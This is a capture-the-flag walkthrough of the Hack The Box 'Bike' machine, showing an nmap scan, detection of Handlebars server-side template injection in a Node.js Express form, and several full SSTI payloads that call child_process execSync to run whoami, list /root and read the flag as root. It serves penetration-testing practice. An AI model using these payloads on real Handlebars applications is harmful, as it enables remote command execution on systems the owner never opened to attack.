HTB Bike

This is another of the HTB Starting Point’s very easy boxes.

$ nmap -v -p- -sV 10.129.237.207 --min-rate 5000

Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-24 11:28 CEST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 11:28
Scanning 10.129.237.207 [2 ports]
Completed Ping Scan at 11:28, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:28
Completed Parallel DNS resolution of 1 host. at 11:28, 0.00s elapsed
Initiating Connect Scan at 11:28
Scanning 10.129.237.207 [65535 ports]
Discovered open port 80/tcp on 10.129.237.207
Discovered open port 22/tcp on 10.129.237.207
Completed Connect Scan at 11:28, 9.60s elapsed (65535 total ports)
Initiating Service scan at 11:28
Scanning 2 services on 10.129.237.207
Completed Service scan at 11:28, 6.12s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.237.207.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.18s elapsed
Initiating NSE at 11:28
Completed NSE at 11:28, 0.15s elapsed
Nmap scan report for 10.129.237.207
Host is up (0.032s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Node.js (Express middleware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds

Access to http://10.129.237.207/

According to the Nmap scan, the site runs under node.js
Wappalyzer describes the Web Framework as Express.

There is no email address control checking of the input:

In fact, it seems that any input is reflected in the result.

If we check for Server-Side Template Injection:

Error: Parse error on line 1:  
{{7*7}}  
--^  
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'  
    at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)  
    at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)  
    at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)  
    at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)  
    at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)  
    at router.post (/root/Backend/routes/handlers.js:14:16)  
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)  
    at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)  
    at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)  
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)

The template engine detected the payload as valid, but there was some error and it wasn’t executed. Although we had that error, it doesn’t mean that it is not vulnerable to SSTI.

Error: Parse error on line 1:  
{{7*'7'}}  
--^  
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'  
    at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)  
    at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)  
    at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)  
    at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)  
    at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)  
    at router.post (/root/Backend/routes/handlers.js:14:16)  
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)  
    at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)  
    at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)  
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)

From this error message we can confirm that the app is used by the root user and handlebars (https://handlebarsjs.com/) as a Template Engine.

According https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs

We can use Burp Suite to send the payloads.

Seems that something from the payload is failing…

{{this.push "return require('child_process').exec('whoami');"}}
Burp’s response says that ReferenceError: require is not defined

https://nodejs.org/api/child_process.html
The above code is attempting to load the Child Process module into memory and use it to execute system commands (in this case whoami ).

If we search for something more global, an accessible object we’ll arrive to:
https://nodejs.org/api/globals.html
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects

https://nodejs.org/api/process.html#process
The process object provides information about, and control over, the current Node.js process.

{{#with "s" as |string|}}  
	{{#with "e"}}  
		{{#with split as |conslist|}}  
			{{this.pop}}  
			{{this.push (lookup string.sub "constructor")}}  
			{{this.pop}}  
			{{#with string.split as |codelist|}}  
				{{this.pop}}  
				{{this.push "return process;"}}  
				{{this.pop}}  
				{{#each conslist}}  
					{{#with (string.sub.apply 0 codelist)}}  
						{{this}}  
					{{/with}}  
				{{/each}}  
			{{/with}}  
		{{/with}}  
	{{/with}}  
{{/with}}

URL encode the payload and try again:

We can see that the process object works fine.

Searching more Process documentation, we discover process.mainModule
https://nodejs.org/api/process.html#processmainmodule

It is deprecated since NodeJS v14.0.0, but it does what we need.

Theprocess.mainModuleproperty provides an alternative way of retrieving [require.main](https://nodejs.org/api/modules.html#accessing-the-main-module).

We can try if it can be used in this case.

This site will help you in the usage of that functionality.
https://www.geeksforgeeks.org/node-js-process-mainmodule-property/

{{#with "s" as |string|}}  
	{{#with "e"}}  
		{{#with split as |conslist|}}  
			{{this.pop}}  
			{{this.push (lookup string.sub "constructor")}}  
			{{this.pop}}  
			{{#with string.split as |codelist|}}  
				{{this.pop}}  
				{{this.push "return  process.mainModule.require('child_process').execSync('whoami');"}}  
				{{this.pop}}  
				{{#each conslist}}  
					{{#with (string.sub.apply 0 codelist)}}  
						{{this}}  
					{{/with}}  
				{{/each}}  
			{{/with}}  
		{{/with}}  
	{{/with}}  
{{/with}}

In the response, we see that the output of the whoami command is root .

Now we can try to modify the command to be executed.

```js 
{{#with "s" as |string|}}  
	{{#with "e"}}  
		{{#with split as |conslist|}}  
			{{this.pop}}  
			{{this.push (lookup string.sub "constructor")}}  
			{{this.pop}}  
			{{#with string.split as |codelist|}}  
				{{this.pop}}  
				{{this.push "return  process.mainModule.require('child_process').execSync('ls /root/');"}}  
				{{this.pop}}  
				{{#each conslist}}  
					{{#with (string.sub.apply 0 codelist)}}  
						{{this}}  
					{{/with}}  
				{{/each}}  
			{{/with}}  
		{{/with}}  
	{{/with}}  
{{/with}}

And finally, get our flag.

{{#with "s" as |string|}}  
	{{#with "e"}}  
		{{#with split as |conslist|}}  
			{{this.pop}}  
			{{this.push (lookup string.sub "constructor")}}  
			{{this.pop}}  
			{{#with string.split as |codelist|}}  
				{{this.pop}}  
				{{this.push "return  process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}  
				{{this.pop}}  
				{{#each conslist}}  
					{{#with (string.sub.apply 0 codelist)}}  
						{{this}}  
					{{/with}}  
				{{/each}}  
			{{/with}}  
		{{/with}}  
	{{/with}}  
{{/with}}

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *